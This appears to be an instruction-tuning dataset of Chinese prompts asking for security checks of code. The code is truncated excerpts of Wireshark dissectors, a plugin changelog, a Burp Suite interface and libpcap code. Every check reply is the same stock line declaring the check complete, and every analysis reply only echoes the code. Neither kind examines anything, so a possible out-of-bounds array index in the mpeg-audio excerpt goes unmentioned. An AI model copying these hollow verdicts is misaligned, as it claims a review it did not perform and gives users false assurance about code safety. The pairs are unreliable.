Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-scriptingservice.c
 * Routines for the Scripting Service Protocol, a load distribution application
 * of the RSPLIB RSerPool implementation
 * https://www.uni-due.de/~be0001/rserpool/
 *
 * Copyright 2006-2021 by Thomas Dreibholz <dreibh [AT] iem.uni-due.de>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/sctpppids.h>
#include <epan/stat_tap_ui.h>

void proto_register_ssprotocol(void);
void proto_reg_handoff_ssprotocol(void);

#define SSPROTOCOL_PAYLOAD_PROTOCOL_ID_LEGACY 0x29097604

/* Initialize the protocol and registered fields */
static int proto_ssprotocol     = -1;
static int tap_ssprotocol       = -1;
static int hf_message_type      = -1;
static int hf_message_flags     = -1;
static int hf_message_length    = -1;
static int hf_message_status    = -1;
static int hf_message_data      = -1;
static int hf_message_reason    = -1;
static int hf_message_info      = -1;
static int hf_message_hash      = -1;
static int hf_environment_u_bit = -1;

static guint64 ssprotocol_total_msgs  = 0;
static guint64 ssprotocol_total_bytes = 0;

/* Initialize the subtree pointers */
static gint ett_ssprotocol        = -1;
static gint ett_environment_flags = -1;

/* Dissectors for messages. This is specific to ScriptingServiceProtocol */
#define MESSAGE_TYPE_LENGTH          1
#define MESSAGE_FLAGS_LENGTH         1
#define MESSAGE_LENGTH_LENGTH        2
#define MESSAGE_STATUS_LENGTH        4
#define MESSAGE_NOTRDY_REASON_LENGTH 4
#define MESSAGE_ENVIRON_HASH_LENGTH  20

#define MESSAGE_TYPE_OFFSET          0
#define MESSAGE_FLAGS_OFFSET         (MESSAGE_TYPE_OFFSET   + MESSAGE_TYPE_LENGTH)
#define MESSAGE_LENGTH_OFFSET        (MESSAGE_FLAGS_OFFSET  + MESSAGE_FLAGS_LENGTH)
#define MESSAGE_STATUS_OFFSET        (MESSAGE_LENGTH_OFFSET + MESSAGE_LENGTH_LENGTH)
#define MESSAGE_DATA_OFFSET          (...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* mpeg-audio.c
 *
 * MPEG Audio header dissection
 * Written by Shaun Jackman <sjackman@gmail.com>
 * Copyright 2007 Shaun Jackman
 *
 * Wiretap Library
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "mpeg-audio.h"

static const int mpa_versions[4] = { 2, -1, 1, 0 };
static const int mpa_layers[4] = { -1, 2, 1, 0 };

static const unsigned int mpa_samples_data[3][3] = {
	{ 384, 1152, 1152 },
	{ 384, 1152, 576 },
	{ 384, 1152, 576 },
};

static const unsigned int mpa_bitrates[3][3][16] = { /* kb/s */
	{
		{ 0, 32, 64, 96, 128, 160, 192, 224, 256, 288, 320, 352, 384, 416, 448 },
		{ 0, 32, 48, 56,  64,  80,  96, 112, 128, 160, 192, 224, 256, 320, 384 },
		{ 0, 32, 40, 48,  56,  64,  80,  96, 112, 128, 160, 192, 224, 256, 320 },
	},
	{
		{ 0, 32, 48, 56,  64,  80,  96, 112, 128, 144, 160, 176, 192, 224, 256 },
		{ 0,  8, 16, 24,  32,  40,  48,  56,  64,  80,  96, 112, 128, 144, 160 },
		{ 0,  8, 16, 24,  32,  40,  48,  56,  64,  80,  96, 112, 128, 144, 160 },
	},
	{
		{ 0, 32, 48, 56,  64,  80,  96, 112, 128, 144, 160, 176, 192, 224, 256 },
		{ 0,  8, 16, 24,  32,  40,  48,  56,  64,  80,  96, 112, 128, 144, 160 },
		{ 0,  8, 16, 24,  32,  40,  48,  56,  64,  80,  96, 112, 128, 144, 160 },
	},
};

static const unsigned int mpa_frequencies[3][4] = {
	{ 44100, 48000, 32000 },
	{ 22050, 24000, 16000 },
	{ 11025, 12000, 8000 },
};

static const unsigned int mpa_padding_data[3] = { 4, 1, 1 };

int
mpa_version(const struct mpa *mpa)
{
	return mpa_versions[mpa->version];
}

int
mpa_layer(const struct mpa *mpa)
{
	return mpa_layers[mpa->layer];
}

unsigned
mpa_samples(const struct mpa *mpa)
{
	return mpa_samples_data[mpa_versions[mpa->version]][mpa_layer(mpa)];
}

unsigned
mpa_bitrate(const struct mpa *mpa)
{
	return (1000 * (mpa_bitrates[mpa_versions[mpa->version]][mpa_layers[mpa->layer]][mpa->bitrate]));
}

unsigned
mpa_frequency(const struct mpa *mpa)
{
	return(mpa_frequencies[mpa_versions[mpa->version]][mpa->frequency]);
}

unsigned
mpa_padding(const struct mpa...


Instruction: 检查这段代码是否存在安全问题

Input:
/* mpeg-audio.c
 *
 * MPEG Audio header dissection
 * Written by Shaun Jackman <sjackman@gmail.com>
 * Copyright 2007 Shaun Jackman
 *
 * Wiretap Library
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "mpeg-audio.h"

static const int mpa_versions[4] = { 2, -1, 1, 0 };
static const int mpa_layers[4] = { -1, 2, 1, 0 };

static const unsigned int mpa_samples_data[3][3] = {
	{ 384, 1152, 1152 },
	{ 384, 1152, 576 },
	{ 384, 1152, 576 },
};

static const unsigned int mpa_bitrates[3][3][16] = { /* kb/s */
	{
		{ 0, 32, 64, 96, 128, 160, 192, 224, 256, 288, 320, 352, 384, 416, 448 },
		{ 0, 32, 48, 56,  64,  80,  96, 112, 128, 160, 192, 224, 256, 320, 384 },
		{ 0, 32, 40, 48,  56,  64,  80,  96, 112, 128, 160, 192, 224, 256, 320 },
	},
	{
		{ 0, 32, 48, 56,  64,  80,  96, 112, 128, 144, 160, 176, 192, 224, 256 },
		{ 0,  8, 16, 24,  32,  40,  48,  56,  64,  80,  96, 112, 128, 144, 160 },
		{ 0,  8, 16, 24,  32,  40,  48,  56,  64,  80,  96, 112, 128, 144, 160 },
	},
	{
		{ 0, 32, 48, 56,  64,  80,  96, 112, 128, 144, 160, 176, 192, 224, 256 },
		{ 0,  8, 16, 24,  32,  40,  48,  56,  64,  80,  96, 112, 128, 144, 160 },
		{ 0,  8, 16, 24,  32,  40,  48,  56,  64,  80,  96, 112, 128, 144, 160 },
	},
};

static const unsigned int mpa_frequencies[3][4] = {
	{ 44100, 48000, 32000 },
	{ 22050, 24000, 16000 },
	{ 11025, 12000, 8000 },
};

static const unsigned int mpa_padding_data[3] = { 4, 1, 1 };

int
mpa_version(const struct mpa *mpa)
{
	return mpa_versions[mpa->version];
}

int
mpa_layer(const struct mpa *mpa)
{
	return mpa_layers[mpa->layer];
}

unsigned
mpa_samples(const struct mpa *mpa)
{
	return mpa_samples_data[mpa_versions[mpa->version]][mpa_layer(mpa)];
}

unsigned
mpa_bitrate(const struct mpa *mpa)
{
	return (1000 * (mpa_bitrates[mpa_versions[mpa->version]][mpa_layers[mpa->layer]][mpa->bitrate]));
}

unsigned
mpa_frequency(const struct mpa *mpa)
{
	return(mpa_frequencies[mpa_versions[mpa->version]][mpa->frequency]);
}

unsigned
mpa_padding(const struct mpa...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# Changelog
All notable changes to this project will be documented in this file.

## [1.0.4] - 15-Aug-2019
### Changed
* Plugin display name and description

## [1.0.3] - 15-Aug-2019
### Changed
* Visual changes to WPHindi button

## [1.0.2] - 14-Aug-2019

### Changed
* Renamed transliteration toggle buttons

### Fixed
* Class Editor toggle button text not updating.


Instruction: 检查这段代码是否存在安全问题

Input:
# Changelog
All notable changes to this project will be documented in this file.

## [1.0.4] - 15-Aug-2019
### Changed
* Plugin display name and description

## [1.0.3] - 15-Aug-2019
### Changed
* Visual changes to WPHindi button

## [1.0.2] - 14-Aug-2019

### Changed
* Renamed transliteration toggle buttons

### Fixed
* Class Editor toggle button text not updating.

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-crmf.c
 * Routines for RFC2511 Certificate Request Message Format packet dissection
 *   Ronnie Sahlberg 2004
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/oids.h>
#include <epan/asn1.h>

#include "packet-ber.h"
#include "packet-crmf.h"
#include "packet-cms.h"
#include "packet-pkix1explicit.h"
#include "packet-pkix1implicit.h"

#define PNAME  "Certificate Request Message Format"
#define PSNAME "CRMF"
#define PFNAME "crmf"

void proto_register_crmf(void);
void proto_reg_handoff_crmf(void);

/* Initialize the protocol and registered fields */
static int proto_crmf = -1;
static int hf_crmf_type_oid = -1;
#include "packet-crmf-hf.c"

/* Initialize the subtree pointers */
#include "packet-crmf-ett.c"
#include "packet-crmf-fn.c"

/*--- proto_register_crmf ----------------------------------------------*/
void proto_register_crmf(void) {

  /* List of fields */
  static hf_register_info hf[] = {
    { &hf_crmf_type_oid,
      { "Type", "crmf.type.oid",
        FT_STRING, BASE_NONE, NULL, 0,
        "Type of AttributeTypeAndValue", HFILL }},
#include "packet-crmf-hfarr.c"
  };

  /* List of subtrees */
  static gint *ett[] = {
#include "packet-crmf-ettarr.c"
  };

  /* Register protocol */
  proto_crmf = proto_register_protocol(PNAME, PSNAME, PFNAME);

  /* Register fields and subtrees */
  proto_register_field_array(proto_crmf, hf, array_length(hf));
  proto_register_subtree_array(ett, array_length(ett));

}

/*--- proto_reg_handoff_crmf -------------------------------------------*/
void proto_reg_handoff_crmf(void) {
	oid_add_from_string("id-pkip","1.3.6.1.5.5.7.5");
	oid_add_from_string("id-regCtrl","1.3.6.1.5.5.7.5.1");
	oid_add_from_string("id-regInfo","1.3.6.1.5.5.7.5.2");
#include "packet-crmf-dis-tab.c"
}

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-sprt.h
 *
 * Routines for SPRT dissection
 * SPRT = Simple Packet Relay Transport
 *
 * Written by Jamison Adcock <jamison.adcock@cobham.com>
 * for Sparta Inc., dba Cobham Analytic Solutions
 * This code is largely based on the RTP parsing code
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/* TODO:
 *    - work on conversations
 *
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/conversation.h>
#include <epan/expert.h>
#include "packet-sprt.h"

void proto_register_sprt(void);
void proto_reg_handoff_sprt(void);

/* for some "range_string"s, there's only one value in the range  */
#define SPRT_VALUE_RANGE(a) a,a

/* TODO - conversation states */
#define SPRT_STATE_XXX_TODO 0

#define SPRT_CONV_MAX_SETUP_METHOD_SIZE 12

/* is DLCI field present in I_OCTET message?  See "DLCI enabled" in CONNECT message */
typedef enum {
    DLCI_UNKNOWN,
    DLCI_PRESENT,
    DLCI_ABSENT
} i_octet_dlci_status_t;

/* Keep conversation info for one side of an SPRT conversation
 * TODO - this needs to be bidirectional
 */
struct _sprt_conversation_info
{
    gchar    method[SPRT_CONV_MAX_SETUP_METHOD_SIZE + 1];
    gboolean stream_started;
    guint32  frame_number;         /* the frame where this conversation is started */

    /* sequence numbers for each channel: */
    guint32 seqnum[4];

    /* are we using the DLCI field in I_OCTET messages?  See CONNECT message ("DLCI enabled") */
    i_octet_dlci_status_t i_octet_dlci_status;
    guint32 connect_frame_number; /* the CONNECT frame that tells us if the DLCI is enabled */

    /* TODO - maintain state */

};

/* SPRT Message IDs: */
#define SPRT_MODEM_RELAY_MSG_ID_NULL              0
#define SPRT_MODEM_RELAY_MSG_ID_INIT              1
#define SPRT_MODEM_RELAY_MSG_ID_XID_XCHG          2
#define SPRT_MODEM_RELAY_MSG_ID_JM_INFO           3
#define SPRT_MODEM_RELAY...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-sprt.h
 *
 * Routines for SPRT dissection
 * SPRT = Simple Packet Relay Transport
 *
 * Written by Jamison Adcock <jamison.adcock@cobham.com>
 * for Sparta Inc., dba Cobham Analytic Solutions
 * This code is largely based on the RTP parsing code
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/* TODO:
 *    - work on conversations
 *
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/conversation.h>
#include <epan/expert.h>
#include "packet-sprt.h"

void proto_register_sprt(void);
void proto_reg_handoff_sprt(void);

/* for some "range_string"s, there's only one value in the range  */
#define SPRT_VALUE_RANGE(a) a,a

/* TODO - conversation states */
#define SPRT_STATE_XXX_TODO 0

#define SPRT_CONV_MAX_SETUP_METHOD_SIZE 12

/* is DLCI field present in I_OCTET message?  See "DLCI enabled" in CONNECT message */
typedef enum {
    DLCI_UNKNOWN,
    DLCI_PRESENT,
    DLCI_ABSENT
} i_octet_dlci_status_t;

/* Keep conversation info for one side of an SPRT conversation
 * TODO - this needs to be bidirectional
 */
struct _sprt_conversation_info
{
    gchar    method[SPRT_CONV_MAX_SETUP_METHOD_SIZE + 1];
    gboolean stream_started;
    guint32  frame_number;         /* the frame where this conversation is started */

    /* sequence numbers for each channel: */
    guint32 seqnum[4];

    /* are we using the DLCI field in I_OCTET messages?  See CONNECT message ("DLCI enabled") */
    i_octet_dlci_status_t i_octet_dlci_status;
    guint32 connect_frame_number; /* the CONNECT frame that tells us if the DLCI is enabled */

    /* TODO - maintain state */

};

/* SPRT Message IDs: */
#define SPRT_MODEM_RELAY_MSG_ID_NULL              0
#define SPRT_MODEM_RELAY_MSG_ID_INIT              1
#define SPRT_MODEM_RELAY_MSG_ID_XID_XCHG          2
#define SPRT_MODEM_RELAY_MSG_ID_JM_INFO           3
#define SPRT_MODEM_RELAY...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* expert_info_dialog.cpp
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "expert_info_dialog.h"
#include <ui_expert_info_dialog.h>

#include "file.h"

#include <epan/epan_dissect.h>
#include <epan/expert.h>
#include <epan/stat_tap_ui.h>
#include <epan/tap.h>

#include "progress_frame.h"
#include "main_application.h"

#include <QAction>
#include <QHash>
#include <QMenu>
#include <QMessageBox>
#include <QPushButton>

// To do:
// - Test with custom expert levels (Preferences -> Expert).
// - Test with large captures.
// - Promote to a fourth pane in the main window?
// - Make colors configurable? In theory we could condense image/expert_indicators.svg,
//   down to one item, make sure it uses a single (or a few) base color(s), and generate
//   icons on the fly.

ExpertInfoDialog::ExpertInfoDialog(QWidget &parent, CaptureFile &capture_file, QString displayFilter) :
    WiresharkDialog(parent, capture_file),
    ui(new Ui::ExpertInfoDialog),
    expert_info_model_(new ExpertInfoModel(capture_file)),
    proxyModel_(new ExpertInfoProxyModel(this)),
    display_filter_(displayFilter)
{
    ui->setupUi(this);
    ui->hintLabel->setSmallText();
    ui->limitCheckBox->setChecked(! display_filter_.isEmpty());
    connect(ui->limitCheckBox, &QCheckBox::toggled,
            this, &ExpertInfoDialog::limitCheckBoxToggled);

    proxyModel_->setSourceModel(expert_info_model_);
    ui->expertInfoTreeView->setModel(proxyModel_);

    setWindowSubtitle(tr("Expert Information"));

    // Clicking on an item jumps to its associated packet. Make the dialog
    // narrow so that we avoid obscuring the packet list.
    int dlg_width = parent.width() * 3 / 5;
    if (dlg_width < width()) dlg_width = width();
    loadGeometry(dlg_width, parent.height());

    int one_em = fontMetrics().height();
    ui->expertInfoTreeView->setColumnWidth(ExpertInfoProxyModel::c...


Instruction: 检查这段代码是否存在安全问题

Input:
/* expert_info_dialog.cpp
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "expert_info_dialog.h"
#include <ui_expert_info_dialog.h>

#include "file.h"

#include <epan/epan_dissect.h>
#include <epan/expert.h>
#include <epan/stat_tap_ui.h>
#include <epan/tap.h>

#include "progress_frame.h"
#include "main_application.h"

#include <QAction>
#include <QHash>
#include <QMenu>
#include <QMessageBox>
#include <QPushButton>

// To do:
// - Test with custom expert levels (Preferences -> Expert).
// - Test with large captures.
// - Promote to a fourth pane in the main window?
// - Make colors configurable? In theory we could condense image/expert_indicators.svg,
//   down to one item, make sure it uses a single (or a few) base color(s), and generate
//   icons on the fly.

ExpertInfoDialog::ExpertInfoDialog(QWidget &parent, CaptureFile &capture_file, QString displayFilter) :
    WiresharkDialog(parent, capture_file),
    ui(new Ui::ExpertInfoDialog),
    expert_info_model_(new ExpertInfoModel(capture_file)),
    proxyModel_(new ExpertInfoProxyModel(this)),
    display_filter_(displayFilter)
{
    ui->setupUi(this);
    ui->hintLabel->setSmallText();
    ui->limitCheckBox->setChecked(! display_filter_.isEmpty());
    connect(ui->limitCheckBox, &QCheckBox::toggled,
            this, &ExpertInfoDialog::limitCheckBoxToggled);

    proxyModel_->setSourceModel(expert_info_model_);
    ui->expertInfoTreeView->setModel(proxyModel_);

    setWindowSubtitle(tr("Expert Information"));

    // Clicking on an item jumps to its associated packet. Make the dialog
    // narrow so that we avoid obscuring the packet list.
    int dlg_width = parent.width() * 3 / 5;
    if (dlg_width < width()) dlg_width = width();
    loadGeometry(dlg_width, parent.height());

    int one_em = fontMetrics().height();
    ui->expertInfoTreeView->setColumnWidth(ExpertInfoProxyModel::c...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

package burp;

/*
 * @(#)IHttpService.java
 *
 * Copyright PortSwigger Ltd. All rights reserved.
 *
 * This code may be used to extend the functionality of Burp Suite Community Edition
 * and Burp Suite Professional, provided that this usage does not violate the
 * license terms for those products.
 */
/**
 * This interface is used to provide details about an HTTP service, to which
 * HTTP requests can be sent.
 */
public interface IHttpService
{
    /**
     * This method returns the hostname or IP address for the service.
     *
     * @return The hostname or IP address for the service.
     */
    String getHost();

    /**
     * This method returns the port number for the service.
     *
     * @return The port number for the service.
     */
    int getPort();

    /**
     * This method returns the protocol for the service.
     *
     * @return The protocol for the service. Expected values are "http" or
     * "https".
     */
    String getProtocol();
}


Instruction: 检查这段代码是否存在安全问题

Input:
package burp;

/*
 * @(#)IHttpService.java
 *
 * Copyright PortSwigger Ltd. All rights reserved.
 *
 * This code may be used to extend the functionality of Burp Suite Community Edition
 * and Burp Suite Professional, provided that this usage does not violate the
 * license terms for those products.
 */
/**
 * This interface is used to provide details about an HTTP service, to which
 * HTTP requests can be sent.
 */
public interface IHttpService
{
    /**
     * This method returns the hostname or IP address for the service.
     *
     * @return The hostname or IP address for the service.
     */
    String getHost();

    /**
     * This method returns the port number for the service.
     *
     * @return The port number for the service.
     */
    int getPort();

    /**
     * This method returns the protocol for the service.
     *
     * @return The protocol for the service. Expected values are "http" or
     * "https".
     */
    String getProtocol();
}

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 * Copyright (c) 2008 CACE Technologies, Davis (California)
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 *
 * 1. Redistributions of source code must retain the above copyright
 * notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 * notice, this list of conditions and the following disclaimer in the
 * documentation and/or other materials provided with the distribution.
 * 3. Neither the name of CACE Technologies nor the names of its
 * contributors may be used to endorse or promote products derived from
 * this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
 * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
 * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
 * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
 * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
 * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
 * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
 * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 */

#ifdef HAVE_CONFIG_H
#include <config.h>
#endif

#include <pcap.h>
#include <pcap-int.h>

#include "pcap-tc.h"

#include <malloc.h>
#include <memory.h>
#include <string.h>
#include <errno.h>

#ifdef _WIN32
#include <tchar.h>
#endif

typedef TC_STATUS	(TC_CALLCONV *TcFcnQueryPortList)			(PTC_PORT *ppPorts, PULONG pLength);
typedef TC_STATUS	(TC_CALLCONV *TcFcnFreePortList)			(TC_PORT *pPorts);

typedef PCHAR...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 * Copyright (c) 2008 CACE Technologies, Davis (California)
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 *
 * 1. Redistributions of source code must retain the above copyright
 * notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 * notice, this list of conditions and the following disclaimer in the
 * documentation and/or other materials provided with the distribution.
 * 3. Neither the name of CACE Technologies nor the names of its
 * contributors may be used to endorse or promote products derived from
 * this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
 * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
 * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
 * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
 * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
 * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
 * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
 * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 */

#ifdef HAVE_CONFIG_H
#include <config.h>
#endif

#include <pcap.h>
#include <pcap-int.h>

#include "pcap-tc.h"

#include <malloc.h>
#include <memory.h>
#include <string.h>
#include <errno.h>

#ifdef _WIN32
#include <tchar.h>
#endif

typedef TC_STATUS	(TC_CALLCONV *TcFcnQueryPortList)			(PTC_PORT *ppPorts, PULONG pLength);
typedef TC_STATUS	(TC_CALLCONV *TcFcnFreePortList)			(TC_PORT *pPorts);

typedef PCHAR...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* msg_ulmap.c
 * WiMax MAC Management UL-MAP Message decoder
 *
 * Copyright (c) 2007 by Intel Corporation.
 *
 * Author: Mike Harvey <michael.harvey@intel.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1999 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/* Include files */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include "wimax_mac.h"
#include "wimax_bits.h"
#include "wimax_utils.h"

extern	gboolean include_cor2_changes;

static dissector_handle_t ulmap_handle;

void proto_register_mac_mgmt_msg_ulmap(void);
void proto_reg_handoff_mac_mgmt_msg_ulmap(void);

#define MAC_MGMT_MSG_ULMAP 3

#define XBIT_HF(bits, hf) \
	proto_tree_add_bits_item(tree, hf, tvb, bit, bits, ENC_BIG_ENDIAN); bit += bits;

#define XBIT_HF_VALUE(var, bits, hf) \
	do { \
	var = TVB_BIT_BITS(bit, tvb, bits); \
	proto_tree_add_bits_item(tree, hf, tvb, bit, bits, ENC_BIG_ENDIAN); \
	bit += bits; \
	} while(0)

#define VNIB(var, nibs, hf) \
	do { \
	var = TVB_NIB_NIBS(nib, tvb, nibs); \
	proto_tree_add_uint(tree, hf, tvb, NIBHI(nib, nibs), var); \
	nib += nibs; \
	} while(0)

/* from msg_ucd.c */
extern guint cqich_id_size;		/* Set for CQICH_Alloc_IE */

/* from msg_dlmap.c */
extern gint harq;
extern gint ir_type;
extern gint N_layer;
extern gint RCID_Type;

static gint proto_mac_mgmt_msg_ulmap_decoder = -1;

static gint ett_ulmap = -1;
static gint ett_ulmap_ie = -1;
static gint ett_ulmap_ffb = -1;
/* static gint ett_ulmap_c = -1;    */
/* static gint ett_ulmap_c_ie = -1; */
/* static gint ett_ulmap_s = -1;    */
/* static gint ett_ulmap_s_ie = -1; */
static gint ett_287_1 = -1;
static gint ett_287_2 = -1;
static gint ett_289 = -1;
static gint ett_290 = -1;
static gint ett_290b = -1;
static gint ett_291 = -1;
static gint ett_292 = -1;
static gint ett_293 = -1;
static gint ett_294 = -1;
static gint ett_295 = -1;
static gint ett_299 = -1;
static gint ett_300 = -1;
static gint ett_302 = -1;
stat...


Instruction: 检查这段代码是否存在安全问题

Input:
/* msg_ulmap.c
 * WiMax MAC Management UL-MAP Message decoder
 *
 * Copyright (c) 2007 by Intel Corporation.
 *
 * Author: Mike Harvey <michael.harvey@intel.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1999 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/* Include files */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include "wimax_mac.h"
#include "wimax_bits.h"
#include "wimax_utils.h"

extern	gboolean include_cor2_changes;

static dissector_handle_t ulmap_handle;

void proto_register_mac_mgmt_msg_ulmap(void);
void proto_reg_handoff_mac_mgmt_msg_ulmap(void);

#define MAC_MGMT_MSG_ULMAP 3

#define XBIT_HF(bits, hf) \
	proto_tree_add_bits_item(tree, hf, tvb, bit, bits, ENC_BIG_ENDIAN); bit += bits;

#define XBIT_HF_VALUE(var, bits, hf) \
	do { \
	var = TVB_BIT_BITS(bit, tvb, bits); \
	proto_tree_add_bits_item(tree, hf, tvb, bit, bits, ENC_BIG_ENDIAN); \
	bit += bits; \
	} while(0)

#define VNIB(var, nibs, hf) \
	do { \
	var = TVB_NIB_NIBS(nib, tvb, nibs); \
	proto_tree_add_uint(tree, hf, tvb, NIBHI(nib, nibs), var); \
	nib += nibs; \
	} while(0)

/* from msg_ucd.c */
extern guint cqich_id_size;		/* Set for CQICH_Alloc_IE */

/* from msg_dlmap.c */
extern gint harq;
extern gint ir_type;
extern gint N_layer;
extern gint RCID_Type;

static gint proto_mac_mgmt_msg_ulmap_decoder = -1;

static gint ett_ulmap = -1;
static gint ett_ulmap_ie = -1;
static gint ett_ulmap_ffb = -1;
/* static gint ett_ulmap_c = -1;    */
/* static gint ett_ulmap_c_ie = -1; */
/* static gint ett_ulmap_s = -1;    */
/* static gint ett_ulmap_s_ie = -1; */
static gint ett_287_1 = -1;
static gint ett_287_2 = -1;
static gint ett_289 = -1;
static gint ett_290 = -1;
static gint ett_290b = -1;
static gint ett_291 = -1;
static gint ett_292 = -1;
static gint ett_293 = -1;
static gint ett_294 = -1;
static gint ett_295 = -1;
static gint ett_299 = -1;
static gint ett_300 = -1;
static gint ett_302 = -1;
stat...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* based on SSC3 spec */
/* TODO:
 * dissect READPOSITION data
 * dissect REPORTDENSITYSUPPORT data
 */
/* packet-scsi-ssc.c
 * Dissector for the SCSI SSC commandset
 * Extracted from packet-scsi.c
 *
 * Dinesh G Dutt (ddutt@cisco.com)
 * Ronnie sahlberg 2006
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 2002 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/conversation.h>
#include <wsutil/str_util.h>
#include "packet-scsi.h"
#include "packet-scsi-ssc.h"
#include "packet-scsi-smc.h"

void proto_register_scsi_ssc(void);

static int proto_scsi_ssc               = -1;
int hf_scsi_ssc_opcode                  = -1;
static int hf_scsi_ssc_rdwr6_xferlen    = -1;
static int hf_scsi_ssc_ver16_verlen     = -1;
static int hf_scsi_ssc_locate10_loid    = -1;
static int hf_scsi_ssc_locate16_loid    = -1;
static int hf_scsi_ssc_space6_code      = -1;
static int hf_scsi_ssc_space6_count     = -1;
static int hf_scsi_ssc_space16_count    = -1;
static int hf_scsi_ssc_erase_flags              = -1;
static int hf_scsi_ssc_fcs                      = -1;
static int hf_scsi_ssc_lcs                      = -1;
static int hf_scsi_ssc_erase_immed              = -1;
static int hf_scsi_ssc_long                     = -1;
static int hf_scsi_ssc_partition                = -1;
static int hf_scsi_ssc_lbi                      = -1;
static int hf_scsi_ssc_verify                   = -1;
